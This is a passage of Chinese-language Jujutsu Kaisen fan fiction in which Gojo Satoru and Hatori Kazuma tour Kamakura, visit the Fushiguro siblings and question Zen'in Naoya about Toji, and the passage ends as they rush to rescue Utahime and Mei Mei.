超级吸引视线的五条悟大帅哥, 就算戴上棒球帽也依旧是魅力不减的cool guy! 目光再微微往旁边一偏, 与羽取一真望过来的视线对撞在一处。 ——看嘛,现在就有一位被他迷倒的恋爱笨蛋哦! 五条悟跨出车门时, 一举一动都透出分外的小小得意。 他们在荒生润子的演唱会唱完那首歌后,论坛果然又狂喜乱舞到仿佛炸开了无数道璀璨烟花,险些又将服务器挤到崩溃。 各个角度的照片,视频, 附带更加劲爆又笃定的分析——每个帖子里除去嗷嗷乱叫的舔颜外, 就是用各种理论来振振有辞地佐证真悟已经在一起的结论。 五条悟不仅喜欢看那些对他和一真的夸夸,也喜欢看各种“有理有据”的分析。 要是刷到被粉丝猜中、或是他没有注意到的细节, 更是会窃笑着在被窝里来回打滚,恨不得立刻注册账号回复—— 没错没错,就是这样! 哎呀我竟然都没注意到这点, 真是失策! 很可惜的是论坛竟然没人上传他们那时在演唱会边上压马路时的牵手照,可恶啦,他还想偷偷保存一张来着呢。 五条悟遗憾得直拍大腿。 这么有力的佐证竟然没有拍下来,这不是太可惜了嘛! ——而此刻,率先下车五条悟转过目光,望向单肩背着挎包、也正往外走的羽取一真。 嗯,果然也是酷哥一个。 因为总是冷着脸的缘故,总会让其他人觉得这家伙不好接近,连流露出的情绪也好似总压着某种淡漠的阴郁感。 但实际上……五条悟知道他有多好哄。 “手手,给我给我——” 五条悟先向他伸出手,笑眯眯的来回晃两下。 “哎呀,我们还是头一次来人这么多的地方,可不能让你走丢了呢——” 还刻意用了对小孩才会这么说话的语气,在一本正经的对着他胡说八道。 于是,这位黑发酷哥的气场立刻化作了忍俊不禁,连带眼底也泛起了笑意。 在脚步匆匆的人来人往中,羽取一真将手递向了五条悟,与他的握紧。 镰仓不愧是一座旅游城市,即使在新年伊始的冬季,来到这里的游客也依旧显得熙熙攘攘。 五条悟与羽取一真在这里订了一间旅馆,预计待上两到三天。 按照来之前的规划,他们买票乘坐了空中云轨,望着窗外的清朗蓝天逐渐与远处的海平面相接,化作融成一团、难以分辨的浅淡白雾。 正下方则是川流不息的车队,喇叭声与灯光的闪烁都离他们很远,像一个又一个的小火柴盒,在他们的脚下飞速后退,好似被擦亮又熄灭的一簇簇火花。 五条悟以前并没有坐过这种倒挂在轨道上的列车,很是兴奋的贴着玻璃窗往外看。 墨镜后的苍瞳自边缘露出一点漂亮的雾蓝色,一眨也不眨的盯完了全程。 如果看见突然振翅飞起的鸽子,他还会超兴奋地招呼羽取一真也一起来看。 于是,两个人脑袋挨着脑袋,挤在那块玻璃窗前津津有味的看鸽子被路人喂食,完全不在意这样做会不会变得“不酷”。 从江之岛站下车时,五条悟还发现站外的栏杆上有几只金属装饰小鸟,却整整齐齐戴着帽子,披着可爱的小斗篷。 “哦,那是我们这里的一位老奶奶用毛线织的。” 边上路过的大叔看见五条悟兴致勃勃端详着这几只穿着衣服的金属小鸟,便主动开口介绍。 “她还会这几只小鸟换衣服呢。你看现在是白色和黑色的条纹对吧?下个月再来就会变成新的花色。” 五条悟听得眼睛亮闪闪:“哇噢——” 他举起手机,给羽取一真、穿着衣服的小鸟和他一顿自拍。 而那位大叔在最后,还给他们指了个正在排队的商业街窗口。 “那边好像是政府在搞什么新年活动啊,好像是去几个地点打卡集邮,就可以得到奖品——不过嘛,反正也就是什么优惠券或者便宜的纸扇之类的东西吧?” 土生土长在本地的大叔对这种活动没有丝毫兴趣,说完就背着手离开了。 但五条悟听到[集邮]这种有意思的活动,立刻变得超来劲。 “是集邮哦!” 他立刻转头看向羽取一真,满脸都写着[来玩嘛来玩嘛]。 羽取一真想了想,觉得连28岁的悟都会热衷于在山形县玩集邮换甜品的小游戏,如今16岁的悟更不用提。 “好啊,来试试看吧。” 羽取一真和五条悟各自领了一张空白的盖章衬纸,穿过这条挤挤挨挨的小商业街,先前往片濑海岸。 冬季的沙滩人烟罕至,裹挟着大量水汽吹来的海风凛冽,吹得来这边拍照的行人直打哆嗦,没停留片刻就离开了。 即使被阳光照射,这时候的沙子摸上去也仍旧冰冷而潮湿,没人会选择在这种时候去海边捡贝壳、打沙滩排球—— 除了两个看起来超开心的傻瓜。 之后,羽取一真与五条悟来到矗立着标志性鸟居的江岛神社,从边津宫一直走到中津宫,再去往奥津宫,分别盖章并按部就班的系红折子祈愿。 现在是新年,到处都能听到欢快的笑声,零星的冬牡丹绽放在人群之间,被衬得格外热闹。 “你许了什么愿……算了算了,别告诉我,愿望说出来就不灵了。” 五条悟刚好奇问出口,立刻摆手让羽取一真别说。 镰仓的神社与寺庙真的很多,他们按照集邮的线路,又去了八幡宫、长谷寺以及高德院——虽说最后的高德院已经被海啸摧毁,仅剩下端坐在露天台座上的镰仓大佛。 待太阳快要落山的最后一站,是羽取一真曾经来过的弁天财神社。 在这里,他没有听那个诅咒师老妪的劝说,而是从水池里随便捡了一枚幸运路人的祈愿硬币,丢进中央的功德箱里。 由他跟夏油杰解决的诅咒事件并没有公之于众,包括诅咒师的死也被全盘隐瞒了下来。 因此,来这里举行[钱洗]仪式的人依旧很多,硬币叮叮当当砸在功德箱与石头上的声音不绝于耳。 “已经没有了诅咒的气息嘛。” 五条悟也知道这回事,便在这里稍微抬起墨镜,用全自动运作的[六眼]将这座不大的神社仔细扫视了一圈,得出结论。 “包括[钱洗]仪式也非常正常哦,来试试看吧?” 他们的衬纸已经快盖满了,羽取一真也没记住他在今天到底祈了多少次愿。 祈愿流程也算是大差不差,掷硬币,挂各种形状的绘马,系红色或蓝色的折纸,舀水洗手——每一次,羽取一真许下的愿望都是相同的。 【请给予五条悟全部他所期望的爱。】 每一次,都双手合十、闭上眼睛,虔诚的、认真的许下愿望。 即使他知道这世界既没有神明,也不可能在无数的愿望中专门挑出这个愿望来实现。 而这次,羽取一真也严格按照流程,用小竹篮装着他和五条悟的硬币,放在水池里洗了洗后取出,准确的扔进那座功德箱里。 五条悟的准头也同样很好,引来身旁路人妹子发出“哇”的赞叹声。 “好,这下我就能实现……嗯,我想想,九个愿望了!” 五条悟稍微掰了掰指头统计道,表情格外高兴。 “悟许的每个愿望都不一样?” 羽取一真有点诧异。 “是啊,毕竟这么多神明,只许一个愿望也太浪费啦。我全许了不重样的,比如……嗯不对,不能说。” 五条悟轻哼出声,在离开弁财天神社之前,又拉着羽取一真去抽御神签玩。 “听说这座神社的御神签很灵验喔,来试一下!” “好。” 羽取一真自然不会扫兴。 在付完钱后,五条悟和羽取一真各摇出了一根刻有数字的神签棒,再从对应的木盒里找到御神签。 羽取一真展开自己的那张纸——凶。 【道前空荆棘,鸿飞惊落羽;鲲鲸兴巨浪,七宝始现真。】 羽取一真:“……” 虽然不怎么信这个,但也没必要直接就给他抽一张凶出来…… “是什么?” 五条悟也正好看完了自己的那张御神签,好奇问羽取一真。 “凶。” 羽取一真将手里的签递了过去。 “运气全用在掷硬币上啦,你。” 看完羽取一真的那段签文,五条悟抖了抖自己手上那张,也分享给他。 “我好歹还是一张末吉呢。” 【生涯喜却忧,白发少年头;劳心千百度,终遇仙人留。】 解释起来也不算很好,但确实比羽取一真的那张[凶]强一点。 不过,按照巫女的说法,他们抽到凶签也不必着急,只需将御神签绑在旁边放置的御神架上奉纳,就可以拜托弁财天神女庇佑自己,扭转坏运气。 羽取一真觉得这神社里倘若真供奉着弁财天神女,估计也不会庇佑他。 毕竟要真这么说,那他还曾经当着这位弁财天神女的面,打死了她的神社里的一位老巫女呢…… 五条悟倒是立刻帮他把御神签绑上去了,自己的那张则留在身边,说要当做纪念。 而作为集邮成功的奖品,羽取一真和五条悟各收到了一个平安御守——很符合他们这趟祈愿之旅的风格。 看着五条悟把玩了好久,应该还挺喜欢的,羽取一真在旁边悄悄松了口气。 幸好不是类似于[辣咖喱味蒙布朗]的那种抽象作品。 除去御神签抽到凶这点小细节外,二人的这趟镰仓之旅玩得十分愉快。 五条悟本来想买一堆陶瓷小狗狗带回来,但很可惜江之岛是一座“猫岛”,只有羽取一真之前买过的各种可爱猫猫,没有小狗。 没办法,五条悟最后只好在宠物用品店里挑中了一只小臂那么大的黑豆柴玩偶,塞到羽取一真怀里。 “放你宿舍啊,不准丢掉。” 附加一声刻意凶巴巴的警告。 抱着玩偶的羽取一真忍笑:“好。” ——论为什么狗派的宿舍里放瓷猫猫,而猫派的宿舍里放狗玩偶。 等新年结束,五条悟和羽取一真拎着伴手礼回来,分给夜蛾正道、家入硝子和夏油杰他们之后,又趁着目前还在寒假休息期间,特意拎了一份带去琦玉。 五条悟甚至都不用问夜蛾老师要地址,羽取一真还记得怎么走。 敲了敲门,边从远及近的传来“噔噔噔”的细碎脚步声,听上去并不沉重,猜测应该是伏黑惠和伏黑津美纪其中之一。 随即便是唰拉一声,大门被拉开。 “妈妈,你——” 发现不是她的妈妈回来,伏黑津美纪的声音哑然一顿——但在看清是之前帮助过他们的大哥哥后,脸上的表情反而变得更开心。 她立刻让开通往客厅的路,将羽取一真和五条悟迎进来。 “是之前帮助过我们的大哥哥哦,惠!” 伏黑津美纪边喊伏黑惠快过来,边从玄关的鞋柜里找到两双新拖鞋给他们,又匆忙跑去厨房泡茶。 “嗨,新年好啊,惠,还有津美纪——” 五条悟笑着向这两只幼崽打招呼,并在对方困惑[为什么知道他们名字]时,解释了下是从古井先生那里听来的;当他将伴手礼交给伏黑惠,顺便快速扫了眼这间并不大的屋子。 “家里没有大人在吗?” 他跟一真这次来的目的,不仅是关心下这对姐弟目前过得怎么样,也想顺势打探出伏黑惠到底和禅院家有什么关系。 在咒术界,能稳定遗传的生得术式与家族血脉之间的联系很深。 尤其是禅院家那个具备特级潜力的[十种影法术],可不是非家系术师随随便便就能觉醒的术式。 “上个月,津美纪的妈妈回来了一趟。” 怎么说,五条悟和羽取一真也是帮助他们解决了生活费困境的好心人,接过伴手礼的伏黑惠表情冷淡,但会如实回答五条悟的疑问。 “看我们没什么事,就甩下几张钞票、待了几天后,又出门不知道去哪里快活了。” ——他说完这些,那张板起表情的小脸便往客厅一偏,示意他们可以坐那里。 五条悟若有所思:“这样啊,妈妈看起来不太靠谱……” 伏黑惠臭着脸道:“大人总归是一个德行。话说,你们叫什么名字?” “哎呀,惠,怎么能这么没礼貌呢!” 正在厨房烧水的伏黑津美纪听见伏黑惠堪称那毫不客气的问法,赶紧跑过来,压着伏黑惠的脑袋就朝五条悟和羽取一真鞠躬。 “不好意思,惠的性格就是这样的,给你们添麻烦了……还有啊惠,快谢谢大哥哥们的伴手礼,这可是我们家里第一次来客人呢!记得笑着说哦!” 被一只手扣住后脑勺,不得不跟着弯腰低头的伏黑惠似乎压抑了片刻,还是乖乖顺着伏黑津美纪的意思开口。 “谢谢你们的伴手礼……好了,快松开我。” 至于那句[笑着说],伏黑惠权当没听见。 ——而他的后半句是对着伏黑津美纪讲的,后者也笑吟吟的松开了手,还叮嘱他以后也记得这么做。 虽然这些都是她从电视上学来的礼仪,也不知道到底对不对;但肯定是比伏黑惠的冷脸招待要强得多。 羽取一真站旁边围观片刻,大概明白了之后的伏黑惠为什么会长成那样的性格。 “我叫五条悟哦,这位和惠摆出同款表情的大哥哥是羽取一真,喊我们的名字就可以啦。” 五条悟也压根没有对伏黑惠的态度感到生气——不如说,小时候的他对着家里那帮长老时,基本上也是这种臭脸表情。 被形容为同款表情的羽取一真则有一点点沉默。 “你好。” 他其实自我感觉和悟待在一起后,已经改变了超级多来着。 例如,假使没有悟,这款游戏在他手中,将会是一款魂系兼无双割草游戏,而非如今的恋爱兼解密游戏。 “悟哥哥、一真哥哥,你们这次来是有什么事吗?” 等伏黑津美纪端上茶,四人坐在这间略狭窄的客厅里时,她便主动开口问道。 五条悟抿了口明显是劣质茶叶冲泡出的苦茶,朝面露紧张的伏黑津美纪友善笑了下。 “也没什么事啦,只是正好我们放寒假了,就来关心一下你们现在过得怎么样。如何,惠还适应那份兼职吗?” 坐在他对面的伏黑惠绷着包子脸点头,看上去还怪可爱的。 “没有什么问题……多谢关心。” 见伏黑津美纪不赞同的皱起眉毛,似乎又要开口说他的态度问题,伏黑惠便接着开口补了一句。 “那就太好了。” 闲聊了几句关于兼职的情况后,五条悟的上半身略前倾,改为撑着扶手歪坐的放松姿势,连同说话的语气也变得随意。 “话说回来,惠和津美纪妈妈的关系不好吗?为什么不喊称呼呢?” 因为有他们主动为伏黑津美纪和伏黑惠的生活解困在先,对方已经没有了初遇时的那份戒心,问一些更私人的家庭问题也不会引起反感。 “啊,这个……” 伏黑津美纪愣了下,似乎在思考该怎么解释这段有点不太好说的关系。 “我跟那个女人没有任何关系。” 伏黑惠先开口了,语气硬邦邦的,透着全然的生疏与排斥。 五条悟佯装好奇的发出一声“欸?”,引导他们继续往下说。 “啊那个,就是,我的妈妈和惠的爸爸,其实是各自带了小孩的重组家庭……” 伏黑津美纪揉了揉衣角,有点不好意思的解释道,“我和惠也只是继姐弟的关系,本身没有血缘。” 五条悟边说着“原来如此”边点头,大概搞懂了为什么伏黑惠有术师天赋,伏黑津美纪却没有。 之前只听一真说她是继姐,还以为是同父异母这类。 “就算如此,双亲都抛下你们去潇洒,也太过分了吧?”五条悟歪过脑袋,“还记得津美纪妈妈和惠爸爸的名字吗?一真哥哥只在小时候听过一次惠爸爸的名字,现在已经完——全不记得啦。但如果现在知道名字的话,我可以想办法帮你们找到人。” 打听情况是一方面,想要帮助他们也是另一方面。 像他这种由于要接受族内教育而被迫与父母分开的情况先不谈了,这对姐弟明显是被双亲主动抛弃的,五条悟实在有点看不过去。 “找到也没有什么用,”伏黑惠说,“就算找回来,也就是说完两句话后,又被当作包袱甩掉而已。” “至少可以揍几下出气,再要他们把生活费吐出来嘛。” 五条悟握了握拳头,露出一个[交给我吧]的表情。 “我最近有开始看法律条文哦,上面说这样可是犯了遗弃罪。” 能不能要到生活费两说,但听到能揍对方几下出气,伏黑惠的黑瞳反而亮起些许。 “但我已经记不清那家伙的脸了,就算你找到他,我也不确定是不是同名同姓的。” 伏黑惠这么说着,另外一边的伏黑津美纪已经跑到楼上的主卧里,翻箱倒柜找到当时登记的结婚证,交给五条悟。 “妈妈的话,因为有偶尔回来给生活费所以没关系,能帮忙找到惠的爸爸就好了,上个月惠过生日的时候,他也没回来……” 五条悟接过那张有点皱皱巴巴的、边缘泛旧卷起的纸。 “我看看……伏黑甚尔?” 伏黑甚尔?没听过这个名字,但去问下禅院家的人也没关系——五条悟还记得禅院家不是有个和他关系“还不错”的直哉嘛,让他帮帮忙呗。 五条悟笑眯眯的收起那张纸,和伏黑惠以及伏黑津美纪打招呼离开。 “就交给我吧,保管找到惠的爸爸——” 他这么打着包票,等出门后,顺手就一通电话打给了禅院直哉。 “喂…谁啊,这种时候给我打电话?” 对面的声音听起来很不满、很嚣张,但五条悟按下免提键,交给羽取一真先开口。 “是我。” 只一句话,就把那位禅院直哉吓出了一声明显的吸气音。 第128章 “怎、怎么不用之前留给我的号码打过来啊。” 这样他就可以假装没听见电话铃响, 接着就能顺理成章躲掉来自这个恶魔的来电了! 禅院直哉发出了抱怨,但没敢抱怨得太明显,让听出来的五条悟发出声意料之内的哼笑。 “哎呀, 这样才能更及时的跟你联络感情嘛。如何, 这么久不见,想我们了吗?” 禅院直哉捏着电话的手一抖:“………” 不,他半点也不想跟这两个家伙联络感情,也不想再见到他们之中的任何一个! 禅院直哉好想挂电话,就假装出任务或者要降下[帐]了,手机不在信号范围内导致自动挂断, 这理由听起来简直合情合理……没错,马上就这么干…… “我劝你不要找些出任务之类理由挂电话喔。” 五条悟笑眯眯出声警告, “否则, 我明天就以五条下任家主的身份去禅院家登门拜访——你也不想直面我和一真吧?不想吧?” 哪怕他其实根本就懒得亲自上门去找禅院直哉, 也不妨碍眼下先在电话里威胁对方。 禅院直哉正要悄悄挪到结束键的拇指顿时一僵。 在[顶多被电话里的恶魔口头威胁], 和[直面两个恶魔的武力威胁],禅院直哉明智的选择了前者。 他离开正在举办热闹宴会的偏殿, 来到无人的庭院角落里吹冷风。 “找我有什么事情?” 禅院直哉单手揣在腰间交叠的衣襟里,提前给这二位打预防针。 “先说好,你要的东西我有努力在找,但那毕竟是加茂家而不是禅院家, 我光是想理由去他们的藏书室还不能引起警觉, 就已经够绞尽脑汁了。” 言下之意是进度慢也不能怪他,反正[束缚]不是也没有规定期限吗。 羽取一真冷淡“嗯”了声, 既没有指责也没有催促,仅是回他一句。 “最好如此。” 这话简直听得人心里直打鼓,令禅院直哉也摸不透对方到底是猜到了他在磨洋工还是没猜到。 主要是不想挨那家伙一棍, 超恐怖。 他后续也是偷偷探听消息的,对方可是被老爷子他们一番安排,直接从四级咒术师大跳级到了一级咒术师啊。 特级咒术师压根就不在正常的术师等级划分范围之内,这意味着一级咒术师已经是最高等级了。 而这两位,目前都是最高等级。 这也意味着,无论羽取一真和五条悟之中的谁想揍他,那就随时都能来揍他。 禅院直哉再一次扼腕后悔自己为什么当时想不开,非要去参观那两个破学校的交流会,而后被这两个恶魔死死盯上了! 甚至表面上,他讲话还得客客气气的,满肚子怨念也不能表现出来。 禅院直哉:“那没什么其它事的话,我这边就先挂电话……” 这番试图撤退的战术吟唱被五条悟一句话打断。 “别着急嘛。” 禅院直哉顿时哽住,再次心率翻倍:“………” “好啦,也不用这么紧张,我只是来向你打听一个人的。” 五条悟从口袋里摸出那张结婚证——【伏黑甚尔】这四个汉字上贴心的注有平假名读音。 话说回来,甚尔那两个汉字的注音竟然是とうじ(Toji),那不就跟冬至(Toji)一模一样吗?父母取名真是有够随便的。 “伏黑甚尔。如何,认识叫这个名字的人吗?大概率是从禅院家出来的。唔,但是他不姓禅院啊……你可以试着再往上追溯一、两代。” 跟羽取一真走在街上的五条悟将那张纸收回口袋里,边随口猜测道。 但电话对面的声音突然变大了——甚至在诧异之中还听出了几分相当微妙的激动。 “伏黑甚尔?甚尔??” 好——确定这家伙肯定认识这个伏黑甚尔了。 唇角带笑的五条悟冲羽取一真打了个得意的响指,示意自己果然没有问错人! 羽取一真从善如流握住了那只朝他伸过来的手,好似将这个响指当成了[他要牵手手]的提醒。 五条悟的得意表情瞬间就打了个折扣,连正要出口的话语都在舌尖打了好几个转,才勉强想起自己刚才想讲的内容。 “……咳,没错。听你的反应是认识他啊,来详细说说看吧。” 禅院直哉卡壳片刻,先问起另一个问题:“你怎么会叫他伏黑甚尔?” 五条悟眉梢挑起:“所以他的本名是禅院甚尔?入赘了?” 男方如果选择入赘女方家庭,自然就会跟着改姓。 但这个消息对以禅院家身份为傲的禅院直哉来说,可是晴天霹雳般的噩耗,想也不想就断然否认。 “怎么可能,甚尔的强大可是……” “欸呀,可我看到这张结婚证上是这么写的呢。” ——结果,禅院直哉被五条悟轻描淡写的一句话就掐灭了话头,半晌都只瞪大着眼睛,没有吭出一声。 偏殿内有人倚着门喊他怎么还在打电话,快回来继续玩,被禅院直哉摆摆手就拒绝了,甚至特意又走远了些。 而这些动静,被开着外放的羽取一真和五条悟听得一清二楚。 “来和我讲讲这个[禅院甚尔]呗,看起来不像是能正常讨论的角色啊。” 五条悟的苍瞳微微眯起,洞察力相当敏锐。 “我为什么要告诉你?” 禅院直哉也不甘示弱,压低了声音回他。 “你以为我没有别的途径去查吗?反正都知道禅院家肯定有这么一个人了。” 五条悟无所谓道,“反而是你,要是被发现了在偷偷去加茂家找资料,会不会……” 禅院直哉:“???那是你们要求的!” 五条悟:“哦?证据在哪里?不是吧不是吧,堂堂禅院家的‘内定继承人’,被人发现在干坏事后,竟然要把责任推脱到五条家的下任家主这里吗?” 在这种时候,五条悟就特意将【五条家的下任家主】这几个字咬上了重音,把只是家主继承人之一的禅院直哉气得要死。 但他敢怒不敢言。 [束缚]是口头定的,又没有合同,他确实没有任何证据能证明他去加茂家找资料是被对方强迫的——他确实在这件事上干得磨磨唧唧,但有[束缚]在身,他又不能完全甩手不干。 “……禅院甚尔,是我的堂兄。” 深呼吸几次后,禅院直哉忍辱负重的出声道。 “但他是零咒力的[天与咒缚]。你知道的,在[非禅院之术师愧为术师,非术师之人愧为人]的禅院家,甚尔会受到多少冷眼与虐待。” “哼……只有我清楚甚尔的强大。那些装模作样的杂鱼们,连甚尔的半点本事也比不上,还有脸在后面嚼他的舌头根,令人恶心得很。” 这小子果然是禅院甚尔的粉丝啊,估计还是偷偷摸摸喜欢,家里人不知道的那种。 不过……零咒力的[天与咒缚],他好像曾经听说过禅院家有这么一号人,后来不见了踪影。 听着禅院直哉愈发激动起来、大有将他那帮亲戚都贬低一遍的架势,五条悟先问出他最关心的问题。 “你知道他现在去哪里了吗?” “……不知道,”禅院直哉也冷静下来,“他大概五年前…或者更早的时候,就突然离开禅院家,不知所踪了。” 他也没想过自己竟然是从五条悟这里获悉到禅院甚尔的近况——竟然是入赘去女人家里,舍弃了原本的姓氏! “你为什么要找他?” 先不提要不要再见堂兄一面的问题,禅院直哉更好奇他是怎么跟五条悟扯上的关系。 但五条悟可没有非要回答他问题不可的义务。 “你也不清楚他的下落啊,那就没用了。一真交代的事情记得好好努力哦。” 在五条悟确定禅院直哉也不知道如今这位伏黑甚尔到底在哪潇洒后,利索地将电话一挂,也不管对面传来“喂喂你到底把我当什么了,你的仆人吗”的抗议。 他将手机揣回兜里,对羽取一真耸了下肩。 “好消息,知道了惠爸爸是禅院家的人,那么惠确实有概率觉醒[十种影法术]。” “坏消息,没人知道他目前的下落,我们刚才对小孩夸下的海口,可能要实现不了了。” 羽取一真也努力回忆了遍一周目发生的事情——除去悟给他科普过[天与咒缚]以外,也从未听说过[伏黑甚尔]或[禅院甚尔]这个人。 伏黑惠之前也只提过他的继姐中了昏迷不醒的诅咒,对于父亲的描述,同样一句话也没有。 想在普通社会里精准找到一个人,实在是太困难了。 否则,那些诅咒师也不至于能平安无事的躲藏这么多年,只有在犯事露出马脚时,才变得有迹可循。 “没关系,”羽取一真想了想,安慰五条悟,“反正我们也没有说期限。” 而且,这也不是他的委托或者任务,没有任何奖励。 听到这话的五条悟顿时有点忍俊不禁,手肘朝人轻轻一拱,附带揶揄地眨了眨眼。 “你小子,也变得狡猾起来了嘛。” 羽取一真有点失笑——他在悟的心里似乎已经被定性成一只超呆的黑豆柴,无论做什么都甩不脱了。 在裹挟着寒风的萧索窄巷里,仅有他们二人并肩走向车站,间或闲聊上几句亲昵的玩笑话。 “这是在夸我吗?” “当然是在夸你啦,当咒术师还是要狡猾一点比较好哦,毕竟很多敌人也相当狡猾啊。” “嗯……那伏黑甚尔要怎么找?” “这个确实有点难办啦,主要是我没有找他的动机,要是从五条家那边安排人手,立马就会被怀疑的。” 五条悟苦思冥想半天,发现有点陷入僵局。 只能说幸好打电话询问的对象是有把柄捏在他们手里的禅院直哉,那家伙虽然性格不怎么样,但人不傻,知道自己有什么话说了也没事,有什么话绝对不能开口。 “算了,毕竟不是一朝一夕就能完成的事情,到时候看下能不能先花钱找普通社会那边专门帮忙寻人的委托机构吧……实在不行就让惠报警。” 五条悟只能庆幸自己有提前拜托夜蛾老师,请他帮忙将伏黑惠隐瞒了下来。 在找人这点上,羽取一真也没有更好的办法。 别说这游戏没有自动寻路系统,他至今还不清楚一周目的那个[夏油杰(已故)(?)],真名到底叫什么。 自由度太高,一切都需要自己摸索。 ——简直就像,真正的世界那样。 ………… 当冬天彻底结束、四月份的春天来临时,羽取一真他们也成为了高专二年生。 甚至,他们是一级咒术师最多的一届——再搭配一个能输出反转术式治疗他人的术师,整个阵容豪华到不可思议。 新入学的一年级可只有七海建人和灰原雄两个人,都是非家系术师,等级也不高。 五条悟还特意去他们教室打过招呼,回来跟羽取一真偷偷咬耳朵说里面有个新生简直超——正经,简直是可以直接穿上西装进入大人社会的程度呢! 坐旁边听得一清二楚的夏油杰和家入硝子,默默投来视线。 要是被对方听见了,搞不好就要说二年级的前辈超轻浮呢…… 偏偏羽取一真还要附和“悟穿西装肯定也很好看,比他还帅”,直把五条悟哄得一撩额前碎发,哎呀哎呀的说着真拿你没办法,回头就订上两套西装来穿给你看看吧。 夏油杰和家入硝子的眼神更是逐渐放空:“…………” 会不会有点太宠他了啊,这位一真同学…! 第129章 五条悟说到做到, 转天就去找了家超贵的高档西装手工店,给他和羽取一真各定制了一身。 结果因为五条悟定的这家店过于高档,被告知制作时长需要至少两个月。 五条悟:“有点久啊……” 老板:“我们小店可是全流程手工制作, 使用的布料也是纯羊绒喔, 穿上身会将您衬托得超级有型呢。” 五条悟立刻敲定。 “买了!” 羽取一真也连带体验了把最精细程度的尺寸测量——看五条悟付出去的定金更是贵到令人发指。 那双黑瞳头一次瞪得溜圆。 付完账的五条悟转头看见羽取一真这副模样,被可爱到没忍住一手搂着他脖颈,另一只手对准脑袋就是一顿乱揉。 当然,这些都只是小插曲,他们更多的时间都被任务和课业塞得满满当当,连五条悟常去的论坛都只能在睡前偶尔瞄上几眼。 他们的牵手照终于被上传到论坛里了, 并毫不意外看见它热度飙升,底下瞬间就堆出了几千栋激动到嗷呜一片的高楼。 五条悟边躲在被窝里独自窃笑, 边将他刷到的各种角度及场景的双人照通通保存下来。 哎呀, 好想注册账号回一句谢谢祝福啊, 但是他得忍住。 除去零散的空余时间外, 五条悟和羽取一真要比去年忙碌得多——甚至由于一级术师太少,他们会接到更多的单人任务, 奔波于全日本各地。 羽取一真都靠刷怪掉落的【咒力结晶】,把他在游戏里显示的等级升到一级了。 夏油杰估计也收获颇丰,最近总能看见他去登记新到手咒灵的咒力。 偶尔被安排到一起搭档时,连喜好用的咒灵也换成了超大的一只沙丘蠕虫型咒灵。 但绝大多数时候, 羽取一真都是不乐意跟夏油杰去做任务的。 尤其是涉及到咒灵祓除这类, 只能二人商量着尽量平分——这只好用,给夏油杰留活的;这只等级高, 给羽取一真最后补刀。 相比之下,还是悟的[苍]超好用,可以强制将远处的咒灵“抓”到身前, 羽取一真则立刻配合的接上一记攻击祓除,刷咒灵又快又好。 ——而今天,是他们三个人难得都没有任务安排、能凑齐在一间教室里上课的时候。 就在课间的他们商量等会午休要不要去打篮球时,面色凝重的夜蛾正道拉开了门。 “支援歌姬?” 听完任务内容的五条悟撑着脑袋,面露不解。 “她不是跟冥小姐去做一级晋升任务了吗?出了事应该也有冥小姐在吧?” “是我向夜蛾老师上报的异常——因为两天都没有收到歌姬前辈的联络了,有点担心会不会出现意外。” 已经转治疗的家入硝子举起手,主动跟五条悟他们解释道。 咒术师在高难度任务上的折损率很高,像这种一两天都没有消息传来的,还能生还的可能性往往要大打折扣。 “按照当时送她们过去的辅助监督的回忆,冥冥和歌姬进入那栋洋馆时,并没有放下[帐]。”夜蛾正道说,“而且现在再去现场查探,洋馆也完好无损,没有任何受到攻击的迹象。” 夏油杰沉吟道:“也就是说,她们不存在是基于[帐]的副作用而导致的无法通讯吗……莫非是进入了咒灵的生得领域?” 如果有生得领域,那可就是特级咒灵了啊……非常心动。 “目前还无法确定。”夜蛾正道摇头,“歌姬还是二级术师,如果冥冥也跟着出现意外,就意味着这只咒灵至少不是一位一级术师能够解决的危险角色。” 以冥冥那种做事周全而老道的性格,再加上一级咒术师的实力,竟然会遇到连求救信息都发不出来的绝境…… “暂且将这个一级任务提升至特级,紧急召集你们前往洋馆,务必搞清楚那栋洋馆的诅咒源头,并尽数祓除!” 目的地是静冈县滨松市,三位负责输出的一级咒术师加一位负责治疗伤员的医师尽数出动,紧急去赶最快的新干线。 两个小时的车程中,家入硝子又尝试联络了几次庵歌姬,依旧没有任何回应。 五条悟猜测:“特级咒灵?” 夏油杰同样表示肯定:“有很大可能是生得领域或者结界术……咒灵一般不会结界术吧?” 羽取一真若有所思:“如果是特级咒灵的话……” 他对掉落的【特级咒力结晶】相当心动。 夏油杰:“……如果是拥有生得领域的特级咒灵,直接祓除掉很浪费吧?” 五条悟:“欸——祓除掉又没关系,一真需要掉落的结晶嘛。” 夏油杰:“那我也很需要会用生得领域的特级咒灵嘛。” 甚至连喜欢拖一点尾音的语气都学起了五条悟,让家入硝子默默投过去一瞥。 为了得到特级咒灵也很拼啊,杰。 ……但目前还是先关心下歌姬前辈和冥冥小姐的安危啊喂,那边那两个已经快为特级咒灵的归属权而吵起来的。 五条悟:“祓除掉也可以让一真的实力增长——搞不好还能直接学会领域展开呢!” 羽取一真沉默:……那倒是不太可能学会。 夏油杰:“又不是打游戏,怎么可能吃掉就能学会啊。果然还是让我吸收更好吧,至少咒灵的生得领域绝对不会被浪费!” 羽取一真再度沉默:……但打游戏确实是真的。 五条悟:“哼哼,难说呢,你又没吸收过特级咒灵,你怎么能笃定自己都不知道该怎么展开的生得领域,吸收完的特级咒灵还能保留?” 夏油杰:“那简单,让我来吸收一下就知道结果。” 五条悟:“噫——狡猾,还想从我和一真这里骗走特级咒灵!” 夏油杰:“等下,你怎么就已经宣誓咒灵的主权了?你现在能宣誓主权的对象只有一真吧?或者他宣誓你的。” 话音一落,现场瞬间安静了片刻。 五条悟:“……!” 羽取一真:“……咳。” 家入硝子:“咿。” 在夏油杰还想趁机继续讲点什么前,险些被说到耳朵发烫的五条悟抢先开口。 “总之我和一真对上你,二比一!” “硝子还在,她也应该有投票权!” “硝子又不负责祓除咒灵!” 眼见这两个人边走边继续唇枪舌战——双方语速太快导致羽取一真甚至插不上话,只能用眼神表示自己坚决支持悟——哪怕坐上了辅助监督的车也没消停,家入硝子长叹一口气,合上手中毫无回应的手机。 “要不我提个建议,”家入硝子说,“你们谁能先救出歌姬前辈,那只特级咒灵就归谁。” 话音刚落,她便看见三人同步露出[啊,差点把她给忘记了]的表情。 家入硝子:“………” 有时候,真心很想嫌弃她的同期们。 “好耶,以救出歌姬为目标,冲啊——!” 辅助监督的车刚停稳在洋馆封锁界线的外围入口,五条悟便打开车门冲了出去。 如果不是洋馆附近的树木太多,他大概会选择用[苍]进行一个横冲直撞泥头车似的赶路。 夏油杰和羽取一真紧随其后,一眨眼的功夫就快跑没影了。 “啊等下,[帐]……” “没事没事,[帐]我自己会放的——!” 